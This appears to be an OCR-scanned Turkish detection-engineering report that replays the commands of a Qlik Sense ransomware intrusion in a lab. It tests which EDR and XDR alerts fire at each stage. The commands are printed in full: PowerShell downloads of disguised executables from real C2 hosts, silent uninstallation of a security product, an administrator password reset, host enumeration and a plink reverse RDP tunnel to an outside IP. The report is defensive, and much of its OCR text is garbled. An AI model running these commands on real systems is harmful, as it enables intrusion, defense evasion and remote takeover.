e echoy"*"| c\windows\temp\putty.exe -ssh -P 443 -l admin -pw -R
45.61.147.176:50400:127.0.0.1:3389 45.61.147.176

. Kullanici adi
. Port numarasi
. Parola

Resim 2.9

Bilgi toplama sonrasi calistirilan tehdit aktoriindn komutlarini inceleyelim:

e Birincisi /x parametresi paketi kaldirmak istedigini belirtir, /gn ise kullanicr arayiizi
olmadigini (Ul) belirtir ve quiet (sessiz) modda calistirir . Bu komut satiri hicbir
gorinti (display) vermez. Arka planda sessiz bir kurulum gerceklestirir.

« ikincisi ise administrator kullanicisinin parolasini Linux.110.110@123 olarak
degistirir.

Basit bir parola degistirme syntaxi “net user USERNAME NEWPASS" seklindedir.

 Uciincisti ise localdeki 33389 yani rdp portunu 45.61.147.176 ip adresinin 50400
portuna forward etmektedir. Bunu ssh tiinelleme Gzerinden yapmaktadir.
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S N
6:00:3... N Scheduler exe 9052 ¢®Process Create C\Windows'\System32\WindowsPowerShel\v1 0'powershel exe
6:00 ¥ powershell exe 4876 P Process Start

6:00:3... ENpowershell exe 4876 c®Process Create C:\Windows'\System32\Conhost exe

6:00-3... EEConhost exe 4996 <2 Process Start

6:00:3... ENpowershell axe 4876 <°Process Create C:\Windows'system32\whoami exe

6:00:3... B whoami exe 700 <®Process Start

6:00:3.. W whoami exe 5700 < Process Ext

Resim 3.0
Bir saldirganin etkilenen sistemde PowerShell calistirmak icin harici bir program gérevi

olusturdugu bir 6rnek.

Tehdit aktori schtasks veya scheduler.exe Gizerinden bir exploit mekanizmasi tetikledigi
icin yukaridaki resimde scheduler.exe (zerinden bir powershell tetiklendigini
goruyoruz.

Scheduler.exe'nin kot amacli bir PowerShell islemi olusturur ve ardindan sistemde
kotd amacli bir payload calistirmak icin tek satirlik bir komut tetikler.

§ Event Properties - O W

§ Event & Process & Stack

Image
P Qlik Sense Scheduler Serice
ik
Mame: Scheduler.exe

Version 20.1.0
Path
TC Program Files\CQlik\Sense'\Scheduler\Scheduler.exe |

Command Line:

“C:\Program Files\Qlik\Sense\Scheduler\Scheduler.exe” J

Resim 3.1
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EDR Tespit Senaryosu i¢in 3 asamada ilerleyecegiz:
1.Powershell komutlarinin oldugu asama
2.Sistem hakkinda bilginin toplanmaya baslandigi asama
3.Sistem hakkinda bilgi toplandiktan sonra eyleme gecilen asama

Asama 1

Powershell komutu 1:

powershell iwr -URI 'http://216.107.136.46/Qliksens_updated.zip' -OutFile
'C:\Windows\appcompat\AcRes.exe'

Calistirilan komut:

Script
| powershell.exe executed a script hd
powershell iwr -uri A
L

v

3648] powershell.exe iwr -uri httpy//10.10.122.102/putty_zip -OutFile chwi W
Resim 3.2
Yukaridaki alarm icerisinde kullanilan IP adresi sanal IP adresidir, dolayisiyla buradaki

amac 10C olarak yakalanmasi degil, kural izerinden yakalanmasidir. indirilen hedef bu
calisma 6zelinde ip adresi olan 10.10.122.102 C2 server gorevi gormektedir.

T s A AN S . )
.
powershell exe” rwr -uri
: : = htt 22.102/putty.zip -OutFile

| [6648) powershell.exe nwr -uri httpy//10.10.122.102/putty.zip -OutFile ¢wa.. tLU 4 i ==l s &

G-\ WY GOWRALEIMD PIULLY.EX
& Execution - PowerShaell downloa/ /
mmm High * Detected

Resim 3.3

iwr komutunun kullanildigi bir powershell icerisindeki .zip dosyasi -outfile parametresi
ile putty.exe olarak belirtilen path’e indirilmistir. High severity ve Detected olarak
etiketlenmistir.

Burada executable Formattaki dosya hedef sunucudan zip olarak indiriliyor Fakat bu bir
.exe dosyasil. IR siirecinden elde edilen “powershell iwr -URI
'http://216.107.136.46/Qliksens_updated.zip' -OutFile
'C:\Windows\appcompat\AcRes.exe" komutu da ayni sekilde zararli C2 sunucusundan
Qliksens_updated.zip olarak istekte bulunup appcompat dizinine AcRes.exe olarak
indirilmis. Burada ayni yontem denendiginde (.zip -> .exe) alarm icerisinde
gorintilenebilmektedir.
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http://216.107.136.46/Qliksens_updated.zip

(') 1191 security vendors flagged this URL as malicious ' Reanalyze

11

http://216.107.136.46/Qliksens_updated.zip ] 1
216.107.136.46 0 text/html

[
Security vendors' analysis (&)
Avira () malware BitDefender
CRDF (D) Malicious CyRadar
ESET (D) malware Fortinet
G-Data ORETE Lionic
SOCRadar (1) Malicious Sophos

Webroat (1) Malicious Abusix (+) Clean

Acronis ) ADMINUSLabs () Clean

Resim 3.4

Yukaridaki resimde “http://216.107.136.46/Qliksens_updated.zip” URL adresi icin
verilen bir virustotal ciktisini gorebiliriz. 11 engine tarafindan zararli olarak
nitelendirilmis. Ayrica status kod olarak 404 dondiriyor, aktif bir IP adresi olmadigi
soylenebilir.

Buradaki calisma o6ncesinde de belirtildigi gibi ip adresi Gzerinde degil, powershell
moddilleri Gzerinde durulmasi gerekmektedir. Nedeni ise alarm mekanizmasinda 10C
verisi olarak bu o6rnekte IP adresi, daha oncesinde CTI kaynagi olarak kuruma
islenmemisse (MISP, Firewall) kuralin yapilan powershell aktivitesi 6zelinde olusmasi
savunucular tarafindan daha énemlidir. indirme islemi yapilan powershell modiilii
sikilastirilmissa veya alarma tabi tutulmussa analist veya bu alarmi kapatacak olan
kisinin hangi siteye, hangi dizine veya dosyaya islem yapacagini inceleyip
sonrasinda ¢esitli CTI kaynaklarini ve sandboxlar kullanarak zararli bir aktivite
oldugunu anlayabilir.

Powershell komutu 2:
powershell start-bitstransfer -source http://zohoservice.net/qglik-sens-nov.zip -outfile
c:\\windows\\temp\\Qliksens.exe
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— Communication === Association Command line
s
powershell start-bitstransfer -source '
% Execution - PowerShell downloads = < A http://10.10.122.102/glik-sens-nov.zip -
outfile
e\windows\\temp\\Qliksens.exe
A
7
Detection -~
[8212] powershell.exe powershell start-bitstransfer -soys ) .
VirusTotal detection Malware detected

ratio

0/72 (7

* Execution - PowerShell downloads MNone

mmE High ® I?e:&r‘.e.:l—|

Resim 3.5

Start-bitstransfer kullanilarak .zip dosyasi Qliksens.exe olarak indirilmistir. High -
Detected olarak etiketlenmistir. Ayni yontemi burada da denedigimizde (.zip -> .exe)
yakalandigini goriyoruz.

| [3560) powershell.exe start-bitstransfer -source httpy//10.100122.102/qlik-5... NS U Command line

£ Execution - PowerShell downloads

mEE High @ Detected ===

Resim 3.6

Yukaridaki resimde ise powershell Gzerinden (6nceki tetiklenen alarm cmd {zerinden
tetiklenmistir) tetiklenen alarmi goriiyoruz. Ek olarak windows icerisinde \ yerine \\ ile
yapildiginda da -outfile parametresi calisir. Windows \ yerine \\ kullanildiginda da bunu
calistirir.

. - Command Command
EEE High ® Detected

” Start-BitsTransfer
| powershell.exe ran the Powershell Cmdlet "Start-BitsTransfer” v

¥ Cobaltstrike Powershell Payload via BITS g

mmm High ® Detected

Resim 3.7

Calistirilan komut “BITS araciligiyla CobaltStrike Powershell Payloadi” olarak
tetiklenmis.

Powershell komutu 3:
powershell Invoke-WebRequest https://download.anydesk.com/AnyDesk.exe -OutFile
c:\windows\temp\file.exe

ADEC
CYBER SECURITY




__________________________________________________§ 22 |

EDR Tespit Senaryosu

[9768]) powershell.exe Invoke-WebRequest hitps://download.anydesk.com... LI
Command line
& Execution - PowerShell downloads "pe el axe”
I'\" win | vao
mmm High ® Detected exe -OutFile Swindows\temphfile.ex

& stealth PowerShell Command Execution Detected

S T . Dnimebacd
[ |} dedium @ Detected

Resim 3.8

Alarmi Execution-powershell download olarak ve gizli (stealth) powershell komutu
tespit edildi olarak goriyoruz. Gizli olarak tespit edilen medium-detected,
Execution/yiritme islemi gerceklestiren ise High-Detected olarak etiketlenmis.

Powershell komutu 4:
powershell wget 'http://zohoservice.net/anydesk.zip' -outfile
'‘c:\\windows\\temp\\any.exe'

powershell.exe executed a script S Command line

powershell.exe executed a script

[168] powershell.exe wget hitpy/10.10.122.102/anydesk.zip -outfile c\wi..

& Execution - PowerShell downloads

Hioh ® Detected 3
LLL] ] LEteClc Detection -

Resim 3.9

Resim 3.9'da gorildigi gibi calistirilan scriptte anydesk.zip olarak istek atiliyor fakat
dizine any.exe olarak indiriliyor. Onceki tekniklerde de kullanilan executable dosyayi zip
olarak degistirip tekrar executable (.exe) olarak dizine kaydediyor. Onceki powershell
komutlarinda da vardi. Buradaki alarm icerisinde de \ yerine \\ path mantigi kullanilmis.

Command Command

powershell.exe executed a script '

I powershell.exe ran the Powershell Cmdlet "Invoke-WebRequest’ a4

& | Create Connections to the C2 Server and Gets Encoded File | “Nvwind ow ¥ an
mmm Hig H y.exe
® Detect...
Resim 4.0

Calistirilan komut High-Detected olarak etiketlenmis. Buna ek olarak alarm, C2
sunucuya baglanti olusturma ve encode dosyayi alma (indirme) olarak tetiklenmis.
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Powershell komutu 5:
powershell iwr -uri http://zohoservice.net/putty.zip -OutFile
c:\windows\temp\putty.exe

. Script
powershell.exe executed a script b
powershell iwr -uri A
httpa/f10.10.122.102/ putty.zip -OutFile 2
[6648] powershell.exe iwr -uri http://10.10.122.102/putty.zip -OutFile chwi...  ~= cwindows\temp\putty.exe v
Resim 4.1

powershell icerisindeki iwr (invoke-webrequest) -uri ile putty.zip dosyasini putty.exe
olarak indirme islemi yakalaniyor.

[ R S A R A e

| [6648] powershell.exe iwr -uri httpy//10.10.122.102/putty.zip -OutFile ciwi... RE e

= .
wershell.exe” iwr -u :
M D127 103 fourty Fi
it/ y.Zip -QutFile
cwindows\temp\putty.exe
¥ Execution - PowerShell downloai’/’/ /
;

mmm High ® Detected
Resim 4.2

Alarm Execution-PowerShell downloads olarak tetiklenmis ve High - Detected verilmis.

Powershell komutu 6:

powershell Invoke-WebRequest
https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe -OutFile
C:\\windows\\temp\\putty.exe

Command line
powershellexe” Invoke-WebRequest
https://download.anydesk.com/AnyDesk.

exe -OutFile chwindows\temph\file.exe

# Execution - PowerShell downloads

I [9768) powershell.exe Invoke-WebRequest httpsy//download anydesk.com...  --- W u

mEm High ® Detected
& _Stenlth PowerShell Command Execution Detected i
mEE Medium @ Detected

Resim 4.3

Invoke-WebRequest https ve kendi indirme sitesi olan the.earth.li izerinden (givenli
oldugu distndlen URL) indirildiginde de asadidaki gibi Execution-PowerShell
downloads ve Gizli komut tespiti olarak alarm tetikleniyor. ikisi de detected olarak
verilmis ve High-Medium severity'lerine sahipler.
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Asama 2

Burada sizilan sistem Gizerinde enumeration islemi yapilmaya baslaniyor.

Komut 1:

dir c:\windows\temp > C:\Users\akbaba\AppData\Local\Temp\gle.ttf

Tespit senaryosu icerisinde verilen komut path traversal acigi ile iliskilendirilmektedir
dolayisiyla biz bunu web vyerine lokal tarafta test edecedimiz icin dizin
“Client/gmc/fonts/qgle.ttF”  yerine  “C:\Users\akbaba\AppData\Local\Temp\gle.ttf”
(%temp%) olacak.

C:\Users\akbaba»dir c:\windows‘\appcompat > ../Client/gmc/fonts/gle.ttf

tem cannot find the path specified.

Resim 4.4

Resim 4.4'de gorildigl UGzere lokal Gzerindeki komut “sistemin belirtilen dizini
bulamamasi” ile sonuclanmaktadir. Asagidaki resimde ise komut calistirilmis ve ciktisi
output olarak alinmistir.

Share Wik s COlserdakbaba\AppDatsLoce

e gletel - Nezepads -
e Bt Search Weew Emceding Langusge Setings Tools Mazie Rum  Pluging Window 7
3 & [ IR AR : E BE

0-023-2 805075 Ml SddBbTT...

f-LdTF-Sa - 1dTaTRcted T 4.

Resim 4.5

Komut 2:
dir c:\windows\appcompat > C:\Users\akbaba\AppData\Local\Temp\gle.ttf

Komut tim kullanicilarin erisebilecegi, sistemin gecici dosyalarini iceren dizini,
kullanicinin gecici dosyalarini iceren dizine cikti aliyor. gle.ttf dosyasinda ise komuta
bagli olarak basariyla calistigini veya ciktiy1 gorebiliriz. Burada dir bir sonu¢ sundugu icin
gle.ttfF dosyasinda temp dizininde bulunan dosyalari gérebiliyoruz.

ADEC
CYBER SECURITY




. § 25 |

EDR Tespit Senaryosu

_';- ChllpersakbabatippDataiLocal Temphghett! - Motepads+

Akbaba Applata & Termp
Flle Edit Search View Encoding Language Setings Toeck Macro Run Pluging  Window
F Cuici scoess ' o = | e Bg % = E o £
s et 12 A TroeTvpe font | -
B Desitop lgletsf B3
_ SRS HO2E- - S TE- TO4el LddER T M Al - = = = = =
ol T o T

& Downloads P — Volume 1..:1 §_.L.re = has r'_c__a%e__“

Decumirts WA Jog Volume Serial Number is 0446-BF27
= Pichures StructuredCQuery log

Resim 4.6
Appcompat dizinini kullanicinin temp dizinine kaydediyor. Burada dosyanin appraiser,
encapsulation ve UA dizinlerini icerdigini goriyoruz.

Komut 3:
quser > C:\Users\akbaba\AppData\Local\Temp\gle.ttf
Sistemde oturum acan kullanicilari gosterir, buradaki mevcut kullanici olan akbaba ve

logon time olarak da bir tarih ve saat goriiyoruz.

& Colserdiakbaba AppDutsLecal Temphglettd - Notepads«
Fibe Edit Semch Veew Ercoding Lingusge Settings Took Macre Run Pluging Window 7

Home Shate Wi -
a 1 s L R IR S E ¥ = | 3

o=l &

o glestf &

% NAME SESSICNNAME D STATE IDLE TIME LOGON TIME
BOCERE =
m P sol Active none  3/27/2024 11:56
= 52515184 b6 4154 22215648
winlosds cv.debug.log
Process name Execution time
7564] quser.exe quser e N [TEEA] muicar axe  hdar 28 300 £3:1Q
[ ' 9 [7564] quser.exe Mar 28, 2024 1:53:19
el
Integrity level Token elevation
Medium Default
User Initiated by
[6812] emd.exe
akbaba
Command line
=4

quser

Resim 4.8
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Resim 4.8 de quser komutunun quser.exe calistirildigini ve bunun alarm tetikledigini

gorldyoruz.

NOT: Windows Uzerinde kural yazarken “False Positive” kavrami g6ziimizin oniinde
bulundurmamiz gereken bir noktadir. Windows (izerinde bazi process’ler cok fazla FP
alarmi getirirken bazi nadir kullanilan quser gibi komutlar da kurum politikasina bagli

olarak kontrol altina alinabilir, kural yazilabilir.

Komut 4:
powershell Get-WmiObject -Class Win32_Product >

C:\Users\akbaba\AppData\Local\Temp\gle.ttf

Mame |E ! |_J glettf E3 |
s qlettf
52a151d4-b6d4-41ad-8cBe-a542e10b58d... |
1 Identifyinglumber : {51A41F10-B64RA-BF09-63%0-
Name : MSI Development Tools
Vendor : Microsoft Corporation
Version : 10.1
Caption : MSI Development Tools
Resim 4.9
& [732 nell.exe 2 24 1:533:03 A
Integrity level Token elevation
Medium Default
User Initiated by
12] em
& | [7328] powershell.exe powershell Get-WmiObject -Class Win32_Product W
Command line
M}
powershell Get-WmiObject -Class
Win32_Product
rd
~
Resim 5.0

Resim 4.9'da sistemde yikli olan yazilimlarin listesini getiren komutu gle.ttf dosyasina
ciktr alir. IdentifyNumber, Name, Vendor, Version ve Caption gibi degerlerden yikli
yazilima ait veriler cikartilabilmektedir. Resim 5.0°da ise calistirilan komuta dair alarmi

goruyoruz.
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NOT: > komutu isletim sistemlerinde overwrite (lizerine yaz) islemi yapmaktadir.
Dolayisiyla temp dizinin listelemesi, appcompat’i listelemesi, quser ciktisini almasi ve
get-wmiobject win_32class ile yikli yaziimlar hakkinda bilgi edinmesi tek tek satirlar
halinde ele alinmis fakat bunun bir senaryo bazli calisma oldugunu disinirsek ve
calistirilan her komut ve satirin farkli bir alarmi tetikleyecedini ele alirsak, saldirganin
shell almis olabilecegini veya web disinda farkli bir yontemle sizmis olacagini disinip
buradaki komutlari single-line (tek satirlik) bir komutta birlestirdigimizde olasi baska bir
senaryoyu canlandirmis oluruz.

Buradan yola ¢ikarak single-line komutu olusturacak olursak:

dir C:\windows\appcompat > C:\Users\akbaba\AppData\Local\Temp\qgle.ttf &
powershell Get-WmiObject -Class Win32_Product >>
C:\Users\akbaba\AppData\Local\Temp\qgle.ttf olacak & quser >>
C:\Users\akbaba\AppData\Local\Temp\qgle.ttf & dir c:\windows\temp >>
C:\Users\akbaba\AppData\Local\Temp\gle.ttf

Buraylr 4 parcaya bolersek, ilki appcompat dizinini gle.ttf dosyasina cikti aliyor >
operatord ile. Sonrasinda & ifadesini goriiyoruz, burada && yerine & kullanilmistir ¢linkid
& kullanildiginda 6nceki komut basarisiz olursa, mevcut degilse veya tetiklenmese bile
bu bir sonrakini etkilemiyor.

c:\Windows\Temp>whoami & echo "output”
poctesthakbaba
"output”

c:\Windows\Temp>whoamii & echo "output”

'whoamii® is not recognized as an internal or external command,
operable program or batch file.

"output”

c:\Windows\Temp>whoami && echo "output”
poctestiakbaba
"output”

c:\Windows\Temp>whoamii && echo "output”
‘whoamii® is not recognized as an internal or external command,
operable program or batch file.

Resim 5.1
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Resim 5.1'de de gorildiigi gibi & yerine && kullanildiginda komut dnceki komuta bagli.
Saldirgan bakis acisindan distinecek olursak, basarisiz bir komut program, parametre
veya yazilimdan dolayr komutun calistirilmamasi eldeki tek sansin kaybedilmesi veya
alternatif yollari aramaya mecbur kilabilir.

& operatoriine dedindikten sonra > ve >> farkina deginebiliriz. Buradaki islem ise >
kullandigimizda 6nceki ciktinin ne olduguna bakmaksizin Gzerine yazar ve 6ncekini siler.
>> ise onceki ciktiyi silmez, kendi calistiracagi komutu 6nceki komuta ekler.

in drive C has no label.

Serial Number is 0446-BF27

Directory of ci\windows‘\appcompat

Volume in drive

File Home Share Vigs 1 Volume Serial M

Directory of

o Cuick sccess
B Deslacp
& Downloads

Dacumnents -
Decumnents iy

+ gleel
75 oA SddBhTT..

-4 TT-Ba53- 1dFaTcAeST.L

= Pictures

wetfdSH trnp

witBTSF.tmp

Resim 5.2

Resim 5.2 de terminal ekranina bakacak olursak ilk ¢iktinin temp dizinin listelemesi
olmasi gerekiyor ama 2. komut appcompat dizinini listelemeyi > ile yaptidi icin 6énceki
ciktiyr silmis. Bu yizden notepad icerisindeki 3 numarali dizin appcompat, 4 numarall
olan ise ondan sonra gelen temp dizinini listeleme ve >> kullanildigi icin temp dizinidir.

Simdi ise single-line komutu calistirabiliriz:

| B C:A\Windows\system32icmd.exe - powershell Get-WmiObject -Class Win32_Product = O x

Resim 5.3
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Volume in drive C has no label.

Volume Serial Number is 0446-BF27

-~

Directory of c:\windows\appcompat

02/26/2024 04:35 M <DIR>
02/26/2024 04:35 AaM <DIR> -
03/20/2024 01:02 aMm <DIR> appraiser
12/11/2023 08:47 AM <DIR> encapsulation
03/05/2024 05:43 AM <DIR> oy

0 File(s) 0 bytes

5 Dir(s) 45,078,560,768 bytes free

IdentifyingNumber : {51R41F10-B64A-8F0%
Name : MSI Development Tools
Vendor : Microsoft Corporation
Version : 10.1.22621.242
Caption : MSI Development Tools
IdentifyingNumber : {3535F430-8CRZ2-3DFC
Name ! Windows SDK Desktop Headers x64
Mendnr = Mirrsenft Ceresration
Resim 5.4

USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>akbaba console 1 Actiwve none 372772024 11:56 EM
Volume in drive C has no label.

Volume Serial Number is 0446-BF27

Directory of c:‘\windows\temp

03/28/2024 03:53 AaM <DIR>

03/28/2024 03:53 aM <DIR> -

03/20/2024 12:23 AM <DIR> 4BEAF52D=-8D63=-4R1D

03/01/2024 12:36 AM <DIR> 833D585B-1617-465E

12/13/72023 04:13 BM <DIR> B22FFB30-015R-4727

03/01/2024 12:35 AM <DIR> CY98F9153-3742-48E6

02/26/2024 05:12 AM <DIR> DBSDAEBZ-5E15-4EAF

02/09/2024 0l:4¢ AM <DIR> emelirlc

03/28/2024 01:22 BM 509,194 MpCmdRun.log

03/28/2024 12:18 AM 498,044 MpSigsStub.log

12/18/2023 04:00 AM <DIR> SDIAG dcd43ccle-6535-44e3-940a-cc75c50ba?71

Resim 5.5

Resim 5.3 ve 5.4 5.5 deki ekran gérintileri de ele alindiginda tiim sistem hakkinda bilgi
toplayan komutlar tek satirda calistirilmis ve gle.ttf dosyasinda tutulmus oluyor.

Asama 3:

Komut 1:

Senaryo icerisinde Sophos givenlik ¢6zimiiniin GUID (globally unique identifier) degeri
belirtilmis, tinelleme icin kullanilan putty.exe uygulamasinin GUID degderini belirtelim.
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C:\Windows\sy 2 ¢ I fgn

C:\Windows

Resim 5.6

GUID degeri resim 5.6 da goriliyor {DDC95F26-92B1-4546-9678-5DC68DF76BA0}.
MsiExec.exe /X{DDC95F26-92B1-4546-9678-5DC68DF76BA0} /gn

Cactus Ransomware Uninstall Software on one endpoint
mmm High

. -] Eep—— s, Y . " N
Incident graph &= Layout ® ) Group similar nodes
s b A

@ emd.exe”

administrator wintest]

msiexec.exe [X{DDCI5F2
6-92B81-4546-9678-50C680
FT6BAD} fqn

Resim 5.7

Resim 5.7 de gorildigi gibi cmd Gzerinde calistirlan msiexec process’i ve
parametrelerini gorebiliyoruz. Kural adi ise “Cactus Ransomware Uninstall Software” ve
High severity.

Komut 2:
net user Administrator changepassword >
C:\Users\akbaba\AppData\Local\Temp\gle.ttf

C:\Windows\system32»net user administrator changepassword » C:\Users\akbaba‘\AppData\Local\Temp\gle.ttf

C:\Windows\system32>

Resim 5.8
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Resim 5.8 de Administrator kullanicisinin “changepassword” parolasi ile degistirildigini
goriiyoruz ve bu gle.ttf dosyasina yazilmis.

[1960] explorer.exe N

[8892] cmd.exe N

v [7220] net.exe net user administrator chan... a
Process ID 7220

Command line

net ussr ﬂj
administrator

changepassword

Resim 5.9

Resim 5.9 de Administrator kullanicisinin “changepassword” parolasi ile degistirildigini
alarm icerisinde goriiyoruz (cmd.exe > net.exe) ve bu gle.ttf dosyasina yazilmis. Ayrica
yapilan bu teknik 1069 ve 1087 “Mitre Teknikleri"yle eslesmektedir.

—  hetl.exe enumerated the Local Group
_§ membership of WINTEST1\Administrator

T1069.001: Local Groups § T1087.001: Local Account

Resim 6.0
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Komut 3:

Ransomware grubu bu saldirida “echo y "A"| c:\windows\temp\putty.exe -ssh -P 443 -|
admin -pw -R  45.61.147.176:50400:127.0.0.1:3389 45.61.147.176" syntaxini
kullanmistir. Burada kullanilan exe Temp dizini altindaki putty.exe olarak goérinlyor
fakat bu aslinda plink.exe (CLI putty).

Asama 1 de saldirganlarin gerceklestirdigi “powershell Invoke-WebRequest
https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe -OutFile
C:\\windows\\temp\\putty.exe” komutu indirilen plink.exe uygulamasinin Temp dizini
altina putty.exe olarak kaydedildigi icin saldirida plink.exe yerine putty.exe olarak

gorinmektedir.
[4948] plink.exe plink -1 purplepentester -pw === 10,10,122.118 v NS &) Analyze
plink -l purplepentester -pwy =ts=r=s=s D
10.10.122.117
[8096] plink.axe plink -1 purplepentester -pw *=***==*** 10,10.122.117 T N Ht Wz

Resim 6.1

Resim 6.1'de plink.exe calistirildiginda -l parametresi ile kullanici adi verilmis ve farkli 2
IP adresini goriyoruz, bunlardan .117 ile biten senaryo icerisinde C2 olarak kullanilan IP
adresi, digeri agda mevcut olmayan adres. Buna ragmen alarm tetikleniyor.

G plink.exe has initiated a connection to 10.10.122.117 W & o
) Open file page 5 Manage indicator
" Suspicious Plink Port Forwarding
mmm Hig o
h ¢ Detect. Integrity level Token elevation
Medium f

Outbound connection from 10.10.122.116:63071 to 10.10.122.1... SR Sied
Initiated by
# Suspicious Plink Port Forwarding
mmm Hig .
® Detect.. Command line
n
& Analyze
[6676] plink.exe plink -ssh -1 purplepentester -puy ™= === -R10.109221.., 0 W plink -l purplepentester -pu **= === -
R 10.10.122.117:50339:10.10.122.117:22 =
# Suspicious Plink Port Forwarding e 10.10.122.177
mmm High ® Detected =
] | fzf-ji plink.exe plink -1 purplepentester -pw ™ == === R 10.10.122.117:503... ‘ vy Detection
# Suspicious Plink Port Forwarding - VirusTotal detection Malware detected
mmm High ® Detected 7 Pt None

Resim 6.2

Resim 6.2'de Remote port forwarding goriiyoruz ve bu “Port Forwarding” olarak
belirtilmis alarm icerisinde. Yukarda cesitli syntaxlari High olarak Detect edilmis sekilde
ele alinan alarmlari goriyoruz.
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XDR i¢in de 3 asamada ilerleyecegiz:
1.Powershell komutlarinin oldugu asama
2.Sistem hakkinda bilginin toplanmaya baslandigi asama
3.Sistem hakkinda bilgi toplandiktan sonra eyleme gecilen asama

Asama 1:
Komut 1:
powershell iwr -uri http://10.10.122.117/putty.zip -OutFile C:\Windows\Temp\putty.exe

powershell iwr -uri http://10.10.122.117/putty.zip -OutFile C:\Windows\Temp'\putty.exe
Resim 7.0

@ Detected Black Basta Ransomware Group Defense Evasion - Windows Defender Turned Off by Group Policy (Powershel
Resim 7.1

Yapilan saldirinin Severity degeri Informational ve Aksiyon olarak Detected verilmis. Ek
olarak alarm adinin Black Basta Ransonware Grubu'nun “Defense Evasion” taktigi ile
eslesmektedir. Buradaki saldiri cesitli diger tehdit gruplar tarafindan da
kullanilmaktadir ancak 6ncelik Black Basta Ransomware grubundadir.

Komut 2:

powershell start-bitstransfer -source http://10.10.122.117/qlik-sens-nov.zip
C:\Windows\Temp\Qliksense.exe

T » ThisPC » Local Disk(C:) » Windows » Temp » w

-~

# Quick access MSI93566.L0G
I Desktop MSIZE3Fc LOG
4 Downloads MSI215ce L OG

%] Documents [¥7] Qliksense.exe

Resim 7.2
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powershell start-bitstransfer -source http:/#/10.10.122.117 /alik-sens-nov.zip C:\Windows\Temp\Qliksense.exe

Resim 7.3

@ Detected Black Basta Ransomware Group Defense Evasion - Windows Defender Turned Off by Group Policy (Powershell)-2

Resim 7.4

Alarm Informational Severity seviyesine sahip ve Detected olarak belirlenmis. Ayrica bu
teknik de Black Basta Ransomware grubunun “Defense Evasion” saldiri teknigi olarak
kullanilmaktadir.

Komut 3:

powershell Invoke-WebRequest https://download.anydesk.com/AnyDesk.exe -OutFile
C:\Windows\Temp\file.exe

C:\Users\hayalet>powershell Invoke-WebRequest https://download.anydesk.com/AnyDesk.exe -OutFile C:\Windows\Temp\file.exe

-~

A Quick access
i n file.exe

Resifﬁ 75

powershell Invoke-WebRequest https:/download.anydesk.com/AnyDesk.exe -OutFile C:\Windows\Temp\file.exe
Resim 7.6
@ Detected A process connected to a rare external host
Resim 7.7

Alarm Informational Detected olarak tetiklenmis, aciklama ise “process sik
kullanilmayan external bir adrese baglanti kurdu.” olarak verilmis.

Komut 4:

powershell wget 'http://zohoservice.net/anydesk.zip' -OutFile
'C:\Windows\Temp\any.exe'

powershell wget 'http:/zohoservice.net/anydesk.zip' -OutFile 'C:\Windows\Temp\any.exe'

Resim 7.8
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“ @ Detected Windows LOLBIN executable connected to a rare external host on a newly activated agent

Resim 7.9

Low seviye bir alarm Detected olarak tetiklenmis, Alarm adi ise LOLBIN tekniginin az
bilinen bir external kaynaga baglanti kurmasidir.

Komut 5:
powershell iwr -uri http://10.10.122.117/putty.zip -OutFile C:\Windows\Temp\putty.exe

powershell iwr -uri http://10.10.122.117 /putty.zip -OutFile C:\Windows\Temp\putty.exe
Resim 8.0

) Detected Black Basta Ransomware Group Defense Evasion - Windows Defender Turned Off by Group Policy

Resim 8.1

Bu teknik de Informational olarak Detected edilmis, alarm Black Basta Ransomware
Grubunun teknigi olarak tetiklenmis.

Komut 6:

powershell Invoke-WebRequest
https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe -OutFile
C:\\Windows\\Temp\\putty.exe

powershell Invoke-WebRequest https:fthe earth.li/-sgtatham/putty/latest/wéd /plink.exe -OutFile C:\\windows\\temph\putty.exe
powershell Invoke-WebRequest https:§the.earth_li/~sgtatham/putty/latest /veédd fplink.exe -OutFile C:h\\windows' \temph\\putty.exe
powershell Invoke-WebRequest https:fthe.earth.li/-sgtatham/putty/latest/wéd /plink.exe -OutFile Ch\windows\ \temp\\putty.exe

Resim 8.2

“ @ Detected Windows LOLBIN executable connected to a rare external host on a newly activated agent
(= :
@ Detected 10C (the.earth.li)
@ Detected A process connected to a rare external host

Resim 8.3
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Ayni komuta dair 3 alarm baz alindiginda, Low ve Informational olarak Detected
edildiklerini goriiyoruz. Alarmlarin ise I0C, LOLBIN ve process connected olarak farkli
islemleri baz alarak tetiklendigini yukaridaki resim 8.3 de detayli olarak inceleyebiliriz.

Asama 2:
Komut 1 (%etemp% = C:\Users\hayalet\AppData\Local\Temp):
d|r C \Wlndows\Temp >C: \Users\hayalet\AppData\Local\Temp\qle tef

\Users\hay alet>dir C:\Win Temp > \Wsers\hay alet) AppDat a\Locall T-J||1F|'l]1r= ttf

C:\Users\hayalet>

Home Share View

. » ThisPC » Local Disk (C:) » Users » hayalet » AppData * Local * Temp
Mame Date modified
3 Quick access

I Desktop

| gletet 4/4/2024 10:30 PM ext Document

| qletxt - Motepad

File Edit Format View Help

Volume in drive C has no label.
Volume Serial Number is (C284-EC83

Directory of C:\Windows\Temp

a4/a4/2824 11:84 AM <DIR>
a4/04/2824 11:84 &M <DIR>

AT FRS PR A LY L T AT AFATOSRS AFATA AARS ONSR IROIRTTA &SP TTRaRE_ S i

Resim 8.4

Komut 2:
dir C:\Windows\appcompat > C:\Users\hayalet\AppData\Local\Temp\gle.ttf

\hayalet>dir C:\Windows\appcompat \hayalet\AppData\local\Temp\gle.ttf

= v P » ThisPC » Local Disk (C:) » Users » hayalet » AppData » Local » Temp
Mame Date modified Type
7 Quick access
letrt 47472024 10:33 PM Text D

[ Desktop e s
File Edit Format View Help
Directory of C:\Windows\appcompat
12/13/2023 85:89 AM <DIR>
12/13/2023 @5:89 AM <DIR> .
B3/2e,/20824 12:36 AM <DIR>» appraiser
12/11/2823 12:16 PM <DIR» encapsulation

Resim 8.5
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Komut 3
quser > C:\Users\hayalet\AppData\Local\Temp\qgle.ttf

yalet\AppData\Local\Temp\gle.ttf

MName Date modified Type Size
# Quick access
T | gletct 4/d/2024 10:42 PM Text Document
gle.txt - Notepad
File Edit Format View Help
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>hayalet console 2 Active none 12:23 AM

Resim 8.6

SEVERITY r 1 ACTION T TARGET PROCESS NAME T TARGET PROCESS CMD

y Detected quUSEr.exe quser

Resim 8.7

FILE_PATH SRC_PROCESS_PATH

